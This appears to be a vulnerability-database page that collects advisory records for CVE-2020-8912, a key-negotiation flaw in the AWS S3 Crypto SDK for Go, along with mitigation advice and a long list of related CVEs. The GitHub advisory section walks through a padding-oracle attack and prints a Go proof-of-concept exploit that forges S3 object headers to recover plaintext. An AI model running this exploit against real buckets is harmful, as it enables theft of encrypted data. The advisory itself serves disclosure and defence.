In-band key negotiation issue in AWS S3 Crypto SDK for GoLang
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2020-8912
PublishedA vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
- Source published
- 11 Aug 2020 19:20:14 UTC
- Source modified
- 4 Aug 2024 10:12:10 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
euvd · EUVD-2022-0887
PublishedA vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 11, 2020, 7:20:14 PM
dateUpdated: Aug 4, 2024, 10:12:10 AM
3 related source bulletins · separate from aliases
WID-SEC-W-2024-0794: Dell ECS: Mehrere Schwachstellen
CVE-2018-18074 · CVE-2020-10663 · CVE-2020-10672 · CVE-2020-10673 · CVE-2020-10735 · CVE-2020-10968 · CVE-2020-10969 · CVE-2020-11111 · CVE-2020-11112 · CVE-2020-11113 · CVE-2020-11612 · CVE-2020-11619 · CVE-2020-11620 · CVE-2020-11979 · CVE-2020-12762 · CVE-2020-12825 · CVE-2020-13956 · CVE-2020-14060 · CVE-2020-14061 · CVE-2020-14062 · CVE-2020-14195 · CVE-2020-15250 · CVE-2020-1945 · CVE-2020-1967 · CVE-2020-1971 · CVE-2020-24616 · CVE-2020-24750 · CVE-2020-25649 · CVE-2020-25658 · CVE-2020-26116 · CVE-2020-26137 · CVE-2020-26541 · CVE-2020-27216 · CVE-2020-27218 · CVE-2020-27223 · CVE-2020-28366 · CVE-2020-28493 · CVE-2020-29509 · CVE-2020-29511 · CVE-2020-29582 · CVE-2020-29651 · CVE-2020-35490 · CVE-2020-35491 · CVE-2020-35728 · CVE-2020-36179 · CVE-2020-36180 · CVE-2020-36181 · CVE-2020-36182 · CVE-2020-36183 · CVE-2020-36184 · CVE-2020-36185 · CVE-2020-36186 · CVE-2020-36187 · CVE-2020-36188 · CVE-2020-36189 · CVE-2020-36516 · CVE-2020-36518 · CVE-2020-36557 · CVE-2020-36558 · CVE-2020-36691 · CVE-2020-7238 · CVE-2020-8840 · CVE-2020-8908 · CVE-2020-8911 · CVE-2020-8912 · CVE-2020-9488 · CVE-2020-9493 · CVE-2020-9546 · CVE-2020-9547 · CVE-2020-9548 · CVE-2021-20190 · CVE-2021-20323 · CVE-2021-21290 · CVE-2021-21295 · CVE-2021-21409 · CVE-2021-23840 · CVE-2021-23841 · CVE-2021-2471 · CVE-2021-25642 · CVE-2021-26341 · CVE-2021-27918 · CVE-2021-28153 · CVE-2021-28165 · CVE-2021-28169 · CVE-2021-28861 · CVE-2021-29425 · CVE-2021-30560 · CVE-2021-3114 · CVE-2021-33036 · CVE-2021-33194 · CVE-2021-33195 · CVE-2021-33196 · CVE-2021-33197 · CVE-2021-33503 · CVE-2021-33655 · CVE-2021-33656 · CVE-2021-3424 · CVE-2021-34428 · CVE-2021-3449 · CVE-2021-3450 · CVE-2021-3530 · CVE-2021-36221 · CVE-2021-36373 · CVE-2021-36374 · CVE-2021-3648 · CVE-2021-36690 · CVE-2021-3711 · CVE-2021-3712 · CVE-2021-37136 · CVE-2021-37137 · CVE-2021-37404 · CVE-2021-37533 · CVE-2021-3754 · CVE-2021-3778 · CVE-2021-3796 · CVE-2021-3826 · CVE-2021-3827 · CVE-2021-38297 · CVE-2021-3872 · CVE-2021-3875 · CVE-2021-3903 · CVE-2021-3923 · CVE-2021-3927 · CVE-2021-3928 · CVE-2021-3968 · CVE-2021-3973 · CVE-2021-3974 · CVE-2021-3984 · CVE-2021-4019 · CVE-2021-4037 · CVE-2021-4069 · CVE-2021-4104 · CVE-2021-4136 · CVE-2021-4157 · CVE-2021-4166 · CVE-2021-41771 · CVE-2021-4192 · CVE-2021-4193 · CVE-2021-4203 · CVE-2021-42567 · CVE-2021-43797 · CVE-2021-44531 · CVE-2021-44532 · CVE-2021-44533 · CVE-2021-44716 · CVE-2021-44878 · CVE-2021-45078 · CVE-2021-46195 · CVE-2021-46828 · CVE-2021-46848 · CVE-2022-0128 · CVE-2022-0213 · CVE-2022-0225 · CVE-2022-0261 · CVE-2022-0318 · CVE-2022-0319 · CVE-2022-0351 · CVE-2022-0359 · CVE-2022-0361 · CVE-2022-0392 · CVE-2022-0407 · CVE-2022-0413 · CVE-2022-0561 · CVE-2022-0696 · CVE-2022-0778 · CVE-2022-1184 · CVE-2022-1245 · CVE-2022-1271 · CVE-2022-1292 · CVE-2022-1381 · CVE-2022-1420 · CVE-2022-1462 · CVE-2022-1466 · CVE-2022-1471 · CVE-2022-1586 · CVE-2022-1587 · CVE-2022-1616 · CVE-2022-1619 · CVE-2022-1620 · CVE-2022-1679 · CVE-2022-1705 · CVE-2022-1720 · CVE-2022-1729 · CVE-2022-1733 · CVE-2022-1735 · CVE-2022-1771 · CVE-2022-1785 · CVE-2022-1796 · CVE-2022-1851 · CVE-2022-1897 · CVE-2022-1898 · CVE-2022-1927 · CVE-2022-1962 · CVE-2022-1968 · CVE-2022-1974 · CVE-2022-1975 · CVE-2022-20132 · CVE-2022-20141 · CVE-2022-20154 · CVE-2022-20166 · CVE-2022-20368 · CVE-2022-20369 · CVE-2022-2047 · CVE-2022-2048 · CVE-2022-20567 · CVE-2022-2068 · CVE-2022-2097 · CVE-2022-21216 · CVE-2022-21233 · CVE-2022-2124 · CVE-2022-2125 · CVE-2022-2126 · CVE-2022-2129 · CVE-2022-21363 · CVE-2022-21385 · CVE-2022-21499 · CVE-2022-2153 · CVE-2022-21540 · CVE-2022-21541 · CVE-2022-21549 · CVE-2022-21618 · CVE-2022-21619 · CVE-2022-21624 · CVE-2022-21626 · CVE-2022-21628 · CVE-2022-21702 · CVE-2022-2175 · CVE-2022-2182 · CVE-2022-2183 · CVE-2022-2206 · CVE-2022-2207 · CVE-2022-2208 · CVE-2022-2210 · CVE-2022-2231 · CVE-2022-2256 · CVE-2022-2257 · CVE-2022-2264 · CVE-2022-2284 · CVE-2022-2285 · CVE-2022-2286 · CVE-2022-2287 · CVE-2022-22976 · CVE-2022-22978 · CVE-2022-2304 · CVE-2022-2318 · CVE-2022-23302 · CVE-2022-23305 · CVE-2022-23307 · CVE-2022-2343 · CVE-2022-2344 · CVE-2022-2345 · CVE-2022-23471 · CVE-2022-23521 · CVE-2022-23772 · CVE-2022-23773 · CVE-2022-24302 · CVE-2022-24329 · CVE-2022-24823 · CVE-2022-24903 · CVE-2022-2503 · CVE-2022-25147 · CVE-2022-25168 · CVE-2022-2519 · CVE-2022-2520 · CVE-2022-2521 · CVE-2022-2522 · CVE-2022-25647 · CVE-2022-2571 · CVE-2022-2580 · CVE-2022-2581 · CVE-2022-25857 · CVE-2022-2588 · CVE-2022-2598 · CVE-2022-26148 · CVE-2022-26365 · CVE-2022-26373 · CVE-2022-2639 · CVE-2022-26612 · CVE-2022-2663 · CVE-2022-27781 · CVE-2022-27782 · CVE-2022-27943 · CVE-2022-2795 · CVE-2022-28131 · CVE-2022-2816 · CVE-2022-2817 · CVE-2022-2819 · CVE-2022-28327 · CVE-2022-2845 · CVE-2022-2849 · CVE-2022-2862 · CVE-2022-2867 · CVE-2022-2868 · CVE-2022-2869 · CVE-2022-28693 · CVE-2022-2874 · CVE-2022-28748 · CVE-2022-2880 · CVE-2022-2889 · CVE-2022-29162 · CVE-2022-29187 · CVE-2022-2923 · CVE-2022-2946 · CVE-2022-29526 · CVE-2022-29583 · CVE-2022-2964 · CVE-2022-2977 · CVE-2022-2980 · CVE-2022-2982 · CVE-2022-29900 · CVE-2022-29901 · CVE-2022-2991 · CVE-2022-3016 · CVE-2022-3028 · CVE-2022-3037 · CVE-2022-30580 · CVE-2022-30630 · CVE-2022-30631 · CVE-2022-30632 · CVE-2022-30633 · CVE-2022-3099 · CVE-2022-31030 · CVE-2022-31159 · CVE-2022-3134 · CVE-2022-3153 · CVE-2022-3169 · CVE-2022-31690 · CVE-2022-32148 · CVE-2022-32149 · CVE-2022-32206 · CVE-2022-32208 · CVE-2022-32221 · CVE-2022-3234 · CVE-2022-3235 · CVE-2022-3239 · CVE-2022-3278 · CVE-2022-3296 · CVE-2022-3297 · CVE-2022-33196 · CVE-2022-3324 · CVE-2022-3352 · CVE-2022-33740 · CVE-2022-33741 · CVE-2022-33742 · CVE-2022-33972 · CVE-2022-33981 · CVE-2022-34169 · CVE-2022-3424 · CVE-2022-34266 · CVE-2022-34526 · CVE-2022-34903 · CVE-2022-3491 · CVE-2022-3515 · CVE-2022-3520 · CVE-2022-3521 · CVE-2022-3524 · CVE-2022-35252 · CVE-2022-3542 · CVE-2022-3545 · CVE-2022-3564 · CVE-2022-3565 · CVE-2022-3566 · CVE-2022-3567 · CVE-2022-35737 · CVE-2022-3586 · CVE-2022-3591 · CVE-2022-3594 · CVE-2022-3597 · CVE-2022-3599 · CVE-2022-36109 · CVE-2022-3621 · CVE-2022-3626 · CVE-2022-3627 · CVE-2022-3628 · CVE-2022-36280 · CVE-2022-3629 · CVE-2022-3635 · CVE-2022-3643 · CVE-2022-36437 · CVE-2022-3646 · CVE-2022-3649 · CVE-2022-36760 · CVE-2022-36879 · CVE-2022-36946 · CVE-2022-3705 · CVE-2022-37434 · CVE-2022-37436 · CVE-2022-37865 · CVE-2022-37866 · CVE-2022-38090 · CVE-2022-38096 · CVE-2022-38126 · CVE-2022-38127 · CVE-2022-38177 · CVE-2022-38178 · CVE-2022-3821 · CVE-2022-38533 · CVE-2022-38749 · CVE-2022-38750 · CVE-2022-38751 · CVE-2022-38752 · CVE-2022-39028 · CVE-2022-3903 · CVE-2022-39188 · CVE-2022-39399 · CVE-2022-3970 · CVE-2022-40149 · CVE-2022-40150 · CVE-2022-40151 · CVE-2022-40152 · CVE-2022-40153 · CVE-2022-40303 · CVE-2022-40304 · CVE-2022-40307 · CVE-2022-40674 · CVE-2022-40768 · CVE-2022-40899 · CVE-2022-4095 · CVE-2022-41218 · CVE-2022-4129 · CVE-2022-4141 · CVE-2022-41717 · CVE-2022-41721 · CVE-2022-41848 · CVE-2022-41850 · CVE-2022-41854 · CVE-2022-41858 · CVE-2022-41881 · CVE-2022-41903 · CVE-2022-41915 · CVE-2022-41966 · CVE-2022-41974 · CVE-2022-42003 · CVE-2022-42004 · CVE-2022-42010 · CVE-2022-42011 · CVE-2022-42012 · CVE-2022-42328 · CVE-2022-42329 · CVE-2022-42703 · CVE-2022-42889 · CVE-2022-42895 · CVE-2022-42896 · CVE-2022-42898 · CVE-2022-4292 · CVE-2022-4293 · CVE-2022-42969 · CVE-2022-4304 · CVE-2022-43552 · CVE-2022-43680 · CVE-2022-43750 · CVE-2022-4378 · CVE-2022-43945 · CVE-2022-43995 · CVE-2022-4415 · CVE-2022-4450 · CVE-2022-44638 · CVE-2022-45061 · CVE-2022-45688 · CVE-2022-45884 · CVE-2022-45885 · CVE-2022-45886 · CVE-2022-45887 · CVE-2022-45919 · CVE-2022-45934 · CVE-2022-45939 · CVE-2022-4662 · CVE-2022-46751 · CVE-2022-46908 · CVE-2022-47629 · CVE-2022-47929 · CVE-2022-48281 · CVE-2022-48337 · CVE-2022-48339 · CVE-2023-0045 · CVE-2023-0049 · CVE-2023-0051 · CVE-2023-0054 · CVE-2023-0215 · CVE-2023-0286 · CVE-2023-0288 · CVE-2023-0433 · CVE-2023-0464 · CVE-2023-0465 · CVE-2023-0466 · CVE-2023-0512 · CVE-2023-0590 · CVE-2023-0597 · CVE-2023-0833 · CVE-2023-1076 · CVE-2023-1095 · CVE-2023-1118 · CVE-2023-1127 · CVE-2023-1170 · CVE-2023-1175 · CVE-2023-1370 · CVE-2023-1380 · CVE-2023-1390 · CVE-2023-1436 · CVE-2023-1513 · CVE-2023-1611 · CVE-2023-1670 · CVE-2023-1855 · CVE-2023-1989 · CVE-2023-1990 · CVE-2023-1998 · CVE-2023-20862 · CVE-2023-2124 · CVE-2023-2162 · CVE-2023-2176 · CVE-2023-21830 · CVE-2023-21835 · CVE-2023-21843 · CVE-2023-21930 · CVE-2023-21937 · CVE-2023-21938 · CVE-2023-21939 · CVE-2023-2194 · CVE-2023-21954 · CVE-2023-21967 · CVE-2023-21968 · CVE-2023-22490 · CVE-2023-2253 · CVE-2023-22809 · CVE-2023-23454 · CVE-2023-23455 · CVE-2023-23559 · CVE-2023-23916 · CVE-2023-23946 · CVE-2023-24329 · CVE-2023-24532 · CVE-2023-24534 · CVE-2023-2483 · CVE-2023-24998 · CVE-2023-2513 · CVE-2023-25193 · CVE-2023-25652 · CVE-2023-25690 · CVE-2023-25809 · CVE-2023-25815 · CVE-2023-26048 · CVE-2023-26049 · CVE-2023-2650 · CVE-2023-26545 · CVE-2023-26604 · CVE-2023-27533 · CVE-2023-27534 · CVE-2023-27535 · CVE-2023-27536 · CVE-2023-27538 · CVE-2023-27561 · CVE-2023-2828 · CVE-2023-28320 · CVE-2023-28321 · CVE-2023-28322 · CVE-2023-28328 · CVE-2023-28464 · CVE-2023-28486 · CVE-2023-28487 · CVE-2023-28642 · CVE-2023-28772 · CVE-2023-28840 · CVE-2023-28841 · CVE-2023-28842 · CVE-2023-29007 · CVE-2023-29383 · CVE-2023-29402 · CVE-2023-29406 · CVE-2023-29409 · CVE-2023-2976 · CVE-2023-30630 · CVE-2023-30772 · CVE-2023-31084 · CVE-2023-3138 · CVE-2023-31436 · CVE-2023-31484 · CVE-2023-32269 · CVE-2023-32697 · CVE-2023-33264 · CVE-2023-34034 · CVE-2023-34035 · CVE-2023-34453 · CVE-2023-34454 · CVE-2023-34455 · CVE-2023-34462 · CVE-2023-35116 · CVE-2023-3635 · CVE-2023-36479 · CVE-2023-39533 · CVE-2023-40167 · CVE-2023-40217 · CVE-2023-41105 · CVE-2023-41900 · CVE-2023-43642 · CVE-2023-43804 · CVE-2023-44487 · CVE-2023-45803 · CVE-2024-21626
openSUSE-SU-2024:14599-1: govulncheck-vulndb-0.0.20241213T205935-1.1 on GA media
CVE-2020-10696 · CVE-2020-8912 · CVE-2022-31668 · CVE-2023-26248 · CVE-2023-3676 · CVE-2023-3955 · CVE-2024-12401 · CVE-2024-37032 · CVE-2024-44337 · CVE-2024-45039 · CVE-2024-45337 · CVE-2024-45436 · CVE-2024-46455 · CVE-2024-46528 · CVE-2024-53257 · CVE-2024-53859 · CVE-2024-55601 · CVE-2024-55657 · CVE-2024-55658 · CVE-2024-55659 · CVE-2024-55660
RHSA-2021:3851: Red Hat Security Advisory: Red Hat 3scale API Management 2.11.0 Release - Container Images
CVE-2020-8911 · CVE-2020-8912 · CVE-2021-3442 · CVE-2021-3814 · CVE-2021-23017
- Source published
- Aug 11, 2020, 7:20:14 PM (timezone not stated)
- Source modified
- Aug 4, 2024, 10:12:10 AM (timezone not stated)
- Saved here
- 18 Nov 2026 00:29:44 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
nvd · CVE-2020-8912
PublishedA vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-327
Original publisher date fields
published: 2020-08-11T20:15:13.323
lastModified: 2026-06-17T03:27:10.440
1 source CPE criteria · context only
- cpe:2.3:a:amazon:aws_s3_crypto_sdk:*:*:*:*:*:golang:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 11 Aug 2020 20:15:13 UTC
- Source modified
- 17 Jun 2026 03:27:10 UTC
- Saved here
- 24 Oct 2026 17:17:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
CVSS 3.1 · [email protected] · Primary · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
CVSS 2.0 · [email protected] · Primary · 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N
osv · GHSA-7f33-f4f5-xwgw
Published### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key. An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe. The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct. To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC: AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding. Since `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV' = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string. Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see. This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go): ```golang func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" { return "", fmt.Errorf("Algorithm is %q, not GCM!", alg) } gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv")) if len(gcmIv) != 12 { return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv)) } fullIv := make([]byte, 16) confirmIv := make([]byte, 16) for i := 0; i < 12; i++ { fullIv[i] = gcmIv[i] ^ 0x10 confirmIv[i] = gcmIv[i] ^ 0x10 } // Set i to the block we want to attempt to decrypt counter := i + 2 for j := 15; j >= 12; j-- { v := byte(counter % 256) fullIv[j] = 0x10 ^ v confirmIv[j] = 0x10 ^ v counter /= 256 } confirmIv[15] ^= 0x11 fullIvEnc := base64.StdEncoding.EncodeToString(fullIv) confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv) success := false // Set plaintextGuess to the guess for the plaintext of this block newData := []byte(plaintextGuess) for j := 0; j < 16; j++ { newData[j] ^= data[16*i+j] } newHeader := header.Clone() newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding") newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc) newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16") input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc) input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { return plaintextGuess, nil } } return "", fmt.Errorf("Block %d could not be decrypted", i) } ```
- Source published
- 11 Feb 2022 23:23:13 UTC
- Source modified
- 10 Sep 2026 03:49:11 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Publisher rating · LOW
osv · GO-2022-0635
PublishedA vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
- Source published
- 12 Dec 2024 22:00:07 UTC
- Source modified
- 4 Feb 2026 02:41:58 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.